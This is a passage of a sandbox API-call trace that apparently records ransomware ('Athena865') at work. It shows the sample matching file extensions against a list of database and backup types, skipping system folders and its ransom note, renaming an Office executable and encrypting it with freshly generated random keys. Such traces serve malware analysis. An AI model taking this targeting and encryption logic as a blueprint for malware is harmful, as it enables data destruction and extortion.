(lpString1="T.EXE", lpString2="accdw") returned 1 [0086.241] lstrlenW (lpString="accft") returned 5 [0086.241] lstrcmpiW (lpString1="T.EXE", lpString2="accft") returned 1 [0086.241] lstrlenW (lpString="adb") returned 3 [0086.241] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0086.242] lstrlenW (lpString="adb") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0086.242] lstrlenW (lpString="ade") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0086.242] lstrlenW (lpString="adf") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0086.242] lstrlenW (lpString="adn") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0086.242] lstrlenW (lpString="adp") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0086.242] lstrlenW (lpString="alf") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0086.242] lstrlenW (lpString="ask") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0086.242] lstrlenW (lpString="btr") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0086.242] lstrlenW (lpString="cat") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0086.242] lstrlenW (lpString="cdb") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0086.242] lstrlenW (lpString="ckp") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0086.242] lstrlenW (lpString="cma") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0086.242] lstrlenW (lpString="cpd") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0086.242] lstrlenW (lpString="dacpac") returned 6 [0086.242] lstrcmpiW (lpString1="PT.EXE", lpString2="dacpac") returned 1 [0086.242] lstrlenW (lpString="dad") returned 3 [0086.242] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0086.242] lstrlenW (lpString="dadiagrams") returned 10 [0086.242] lstrlenW (lpString="daschema") returned 8 [0086.243] lstrcmpiW (lpString1="IMPT.EXE", lpString2="daschema") returned 1 [0086.243] lstrlenW (lpString="db-journal") returned 10 [0086.243] lstrlenW (lpString="db-shm") returned 6 [0086.243] lstrcmpiW (lpString1="PT.EXE", lpString2="db-shm") returned 1 [0086.243] lstrlenW (lpString="db-wal") returned 6 [0086.243] lstrcmpiW (lpString1="PT.EXE", lpString2="db-wal") returned 1 [0086.243] lstrlenW (lpString="dbc") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0086.243] lstrlenW (lpString="dbs") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0086.243] lstrlenW (lpString="dbt") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0086.243] lstrlenW (lpString="dbv") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0086.243] lstrlenW (lpString="dbx") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0086.243] lstrlenW (lpString="dcb") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0086.243] lstrlenW (lpString="dct") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0086.243] lstrlenW (lpString="dcx") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0086.243] lstrlenW (lpString="ddl") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0086.243] lstrlenW (lpString="dlis") returned 4 [0086.243] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0086.243] lstrlenW (lpString="dp1") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0086.243] lstrlenW (lpString="dqy") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0086.243] lstrlenW (lpString="dsk") returned 3 [0086.243] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0086.243] lstrlenW (lpString="dsn") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0086.244] lstrlenW (lpString="dtsx") returned 4 [0086.244] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0086.244] lstrlenW (lpString="dxl") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0086.244] lstrlenW (lpString="eco") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0086.244] lstrlenW (lpString="ecx") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0086.244] lstrlenW (lpString="edb") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0086.244] lstrlenW (lpString="epim") returned 4 [0086.244] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0086.244] lstrlenW (lpString="fcd") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0086.244] lstrlenW (lpString="fdb") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0086.244] lstrlenW (lpString="fic") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0086.244] lstrlenW (lpString="flexolibrary") returned 12 [0086.244] lstrlenW (lpString="fm5") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0086.244] lstrlenW (lpString="fmp") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0086.244] lstrlenW (lpString="fmp12") returned 5 [0086.244] lstrcmpiW (lpString1="T.EXE", lpString2="fmp12") returned 1 [0086.244] lstrlenW (lpString="fmpsl") returned 5 [0086.244] lstrcmpiW (lpString1="T.EXE", lpString2="fmpsl") returned 1 [0086.244] lstrlenW (lpString="fol") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0086.244] lstrlenW (lpString="fp3") returned 3 [0086.244] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0086.244] lstrlenW (lpString="fp4") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0086.245] lstrlenW (lpString="fp5") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0086.245] lstrlenW (lpString="fp7") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0086.245] lstrlenW (lpString="fpt") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0086.245] lstrlenW (lpString="frm") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0086.245] lstrlenW (lpString="gdb") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0086.245] lstrlenW (lpString="gdb") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0086.245] lstrlenW (lpString="grdb") returned 4 [0086.245] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0086.245] lstrlenW (lpString="gwi") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0086.245] lstrlenW (lpString="hdb") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0086.245] lstrlenW (lpString="his") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0086.245] lstrlenW (lpString="ib") returned 2 [0086.245] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0086.245] lstrlenW (lpString="idb") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0086.245] lstrlenW (lpString="ihx") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0086.245] lstrlenW (lpString="itdb") returned 4 [0086.245] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0086.245] lstrlenW (lpString="itw") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0086.245] lstrlenW (lpString="jet") returned 3 [0086.245] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0086.246] lstrlenW (lpString="jtx") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0086.246] lstrlenW (lpString="kdb") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0086.246] lstrlenW (lpString="kexi") returned 4 [0086.246] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0086.246] lstrlenW (lpString="kexic") returned 5 [0086.246] lstrcmpiW (lpString1="T.EXE", lpString2="kexic") returned 1 [0086.246] lstrlenW (lpString="kexis") returned 5 [0086.246] lstrcmpiW (lpString1="T.EXE", lpString2="kexis") returned 1 [0086.246] lstrlenW (lpString="lgc") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0086.246] lstrlenW (lpString="lwx") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0086.246] lstrlenW (lpString="maf") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0086.246] lstrlenW (lpString="maq") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0086.246] lstrlenW (lpString="mar") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0086.246] lstrlenW (lpString="marshal") returned 7 [0086.246] lstrcmpiW (lpString1="MPT.EXE", lpString2="marshal") returned 1 [0086.246] lstrlenW (lpString="mas") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0086.246] lstrlenW (lpString="mav") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0086.246] lstrlenW (lpString="maw") returned 3 [0086.246] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0086.246] lstrlenW (lpString="mdbhtml") returned 7 [0086.246] lstrcmpiW (lpString1="MPT.EXE", lpString2="mdbhtml") returned 1 [0086.246] lstrlenW (lpString="mdn") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0086.247] lstrlenW (lpString="mdt") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0086.247] lstrlenW (lpString="mfd") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0086.247] lstrlenW (lpString="mpd") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0086.247] lstrlenW (lpString="mrg") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0086.247] lstrlenW (lpString="mud") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0086.247] lstrlenW (lpString="mwb") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0086.247] lstrlenW (lpString="myd") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0086.247] lstrlenW (lpString="ndf") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0086.247] lstrlenW (lpString="nnt") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0086.247] lstrlenW (lpString="nrmlib") returned 6 [0086.247] lstrcmpiW (lpString1="PT.EXE", lpString2="nrmlib") returned 1 [0086.247] lstrlenW (lpString="ns2") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0086.247] lstrlenW (lpString="ns3") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0086.247] lstrlenW (lpString="ns4") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0086.247] lstrlenW (lpString="nsf") returned 3 [0086.247] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0086.247] lstrlenW (lpString="nv") returned 2 [0086.247] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0086.247] lstrlenW (lpString="nv2") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0086.248] lstrlenW (lpString="nwdb") returned 4 [0086.248] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0086.248] lstrlenW (lpString="nyf") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0086.248] lstrlenW (lpString="odb") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0086.248] lstrlenW (lpString="odb") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0086.248] lstrlenW (lpString="oqy") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0086.248] lstrlenW (lpString="ora") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0086.248] lstrlenW (lpString="orx") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0086.248] lstrlenW (lpString="owc") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0086.248] lstrlenW (lpString="p96") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0086.248] lstrlenW (lpString="p97") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0086.248] lstrlenW (lpString="pan") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0086.248] lstrlenW (lpString="pdb") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0086.248] lstrlenW (lpString="pdm") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0086.248] lstrlenW (lpString="pnz") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0086.248] lstrlenW (lpString="qry") returned 3 [0086.248] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0086.248] lstrlenW (lpString="qvd") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0086.249] lstrlenW (lpString="rbf") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0086.249] lstrlenW (lpString="rctd") returned 4 [0086.249] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0086.249] lstrlenW (lpString="rod") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0086.249] lstrlenW (lpString="rodx") returned 4 [0086.249] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0086.249] lstrlenW (lpString="rpd") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0086.249] lstrlenW (lpString="rsd") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0086.249] lstrlenW (lpString="sas7bdat") returned 8 [0086.249] lstrcmpiW (lpString1="IMPT.EXE", lpString2="sas7bdat") returned -1 [0086.249] lstrlenW (lpString="sbf") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0086.249] lstrlenW (lpString="scx") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0086.249] lstrlenW (lpString="sdb") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0086.249] lstrlenW (lpString="sdc") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0086.249] lstrlenW (lpString="sdf") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0086.249] lstrlenW (lpString="sis") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0086.249] lstrlenW (lpString="spq") returned 3 [0086.249] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0086.249] lstrlenW (lpString="te") returned 2 [0086.249] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0086.249] lstrlenW (lpString="teacher") returned 7 [0086.249] lstrcmpiW (lpString1="MPT.EXE", lpString2="teacher") returned -1 [0086.250] lstrlenW (lpString="tmd") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0086.250] lstrlenW (lpString="tps") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0086.250] lstrlenW (lpString="trc") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0086.250] lstrlenW (lpString="trc") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0086.250] lstrlenW (lpString="trm") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0086.250] lstrlenW (lpString="udb") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0086.250] lstrlenW (lpString="udl") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0086.250] lstrlenW (lpString="usr") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0086.250] lstrlenW (lpString="v12") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0086.250] lstrlenW (lpString="vis") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0086.250] lstrlenW (lpString="vpd") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0086.250] lstrlenW (lpString="vvv") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0086.250] lstrlenW (lpString="wdb") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0086.250] lstrlenW (lpString="wmdb") returned 4 [0086.250] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0086.250] lstrlenW (lpString="wrk") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0086.250] lstrlenW (lpString="xdb") returned 3 [0086.250] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0086.251] lstrlenW (lpString="xld") returned 3 [0086.251] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0086.251] lstrlenW (lpString="xmlff") returned 5 [0086.251] lstrcmpiW (lpString1="T.EXE", lpString2="xmlff") returned -1 [0086.251] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TLIMPT.EXE.Athena865") returned 63 [0086.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TLIMPT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\tlimpt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TLIMPT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\tlimpt.exe.athena865"), dwFlags=0x1) returned 1 [0086.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TLIMPT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\tlimpt.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.253] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=82816) returned 1 [0086.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.253] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.254] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.254] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.254] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14680, lpName=0x0) returned 0x154 [0086.256] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14680) returned 0x100000 [0086.261] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.262] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.262] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.263] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.264] CloseHandle (hObject=0x154) returned 1 [0086.264] CloseHandle (hObject=0x17c) returned 1 [0086.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.264] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cb00, ftCreationTime.dwHighDateTime=0x1cb6fff, ftLastAccessTime.dwLowDateTime=0xe3410920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x156cb00, ftLastWriteTime.dwHighDateTime=0x1cb6fff, nFileSizeHigh=0x0, nFileSizeLow=0x28b88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWCUTCHR.DLL", cAlternateFileName="")) returned 1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2=".") returned 1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="..") returned 1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="windows") returned -1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="bootmgr") returned 1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="temp") returned 1 [0086.264] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="pagefile.sys") returned 1 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="boot") returned 1 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="ids.txt") returned 1 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="ntuser.dat") returned 1 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="perflogs") returned 1 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2="MSBuild") returned 1 [0086.265] lstrlenW (lpString="TWCUTCHR.DLL") returned 12 [0086.265] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWCUTCHR.DLL" | out: lpString1="TWCUTCHR.DLL") returned="TWCUTCHR.DLL" [0086.265] lstrlenW (lpString="TWCUTCHR.DLL") returned 12 [0086.265] lstrlenW (lpString="Athena865") returned 9 [0086.265] lstrcmpiW (lpString1="UTCHR.DLL", lpString2="Athena865") returned 1 [0086.265] lstrlenW (lpString=".dll") returned 4 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2=".dll") returned 1 [0086.265] lstrlenW (lpString=".lnk") returned 4 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2=".lnk") returned 1 [0086.265] lstrlenW (lpString=".ini") returned 4 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2=".ini") returned 1 [0086.265] lstrlenW (lpString=".sys") returned 4 [0086.265] lstrcmpiW (lpString1="TWCUTCHR.DLL", lpString2=".sys") returned 1 [0086.265] lstrlenW (lpString="TWCUTCHR.DLL") returned 12 [0086.265] lstrlenW (lpString="bak") returned 3 [0086.265] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0086.265] lstrlenW (lpString="ba_") returned 3 [0086.265] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0086.265] lstrlenW (lpString="dbb") returned 3 [0086.265] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0086.265] lstrlenW (lpString="vmdk") returned 4 [0086.265] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0086.265] lstrlenW (lpString="rar") returned 3 [0086.265] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0086.265] lstrlenW (lpString="zip") returned 3 [0086.265] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0086.265] lstrlenW (lpString="tgz") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0086.266] lstrlenW (lpString="vbox") returned 4 [0086.266] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0086.266] lstrlenW (lpString="vdi") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0086.266] lstrlenW (lpString="vhd") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0086.266] lstrlenW (lpString="vhdx") returned 4 [0086.266] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0086.266] lstrlenW (lpString="avhd") returned 4 [0086.266] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0086.266] lstrlenW (lpString="db") returned 2 [0086.266] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0086.266] lstrlenW (lpString="db2") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0086.266] lstrlenW (lpString="db3") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0086.266] lstrlenW (lpString="dbf") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0086.266] lstrlenW (lpString="mdf") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0086.266] lstrlenW (lpString="mdb") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0086.266] lstrlenW (lpString="sql") returned 3 [0086.266] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0086.266] lstrlenW (lpString="sqlite") returned 6 [0086.266] lstrcmpiW (lpString1="HR.DLL", lpString2="sqlite") returned -1 [0086.266] lstrlenW (lpString="sqlite3") returned 7 [0086.266] lstrcmpiW (lpString1="CHR.DLL", lpString2="sqlite3") returned -1 [0086.266] lstrlenW (lpString="sqlitedb") returned 8 [0086.266] lstrcmpiW (lpString1="TCHR.DLL", lpString2="sqlitedb") returned 1 [0086.266] lstrlenW (lpString="xml") returned 3 [0086.267] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0086.267] lstrlenW (lpString="$er") returned 3 [0086.267] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0086.267] lstrlenW (lpString="4dd") returned 3 [0086.267] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0086.267] lstrlenW (lpString="4dl") returned 3 [0086.267] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0086.267] lstrlenW 